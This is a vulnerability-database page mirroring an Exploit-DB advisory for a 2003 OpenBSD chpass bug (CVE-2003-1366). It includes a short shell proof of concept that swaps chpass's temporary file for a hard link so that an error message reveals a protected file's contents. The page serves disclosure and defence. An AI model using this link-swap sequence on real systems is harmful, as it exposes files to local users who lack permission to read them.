Lucene search
+L

OpenBSD 2.x/3.x - CHPass Temporary File Link File Content Revealing

🗓️ 03 Feb 2003 00:00:00Reported by Marc BevandType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Local users may exploit OpenBSD chpass to access specific file contents via hard links.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2003-1366
17 Oct 200701:00
cve
cvelist
Cvelist
CVE-2003-1366
17 Oct 200701:00
cvelist
euvd
EUVD
EUVD-2003-1356
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-1366
31 Dec 200305:00
nvd
source: https://www.securityfocus.com/bid/6748/info

It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.

# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shell

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.3
EPSS0.00497
25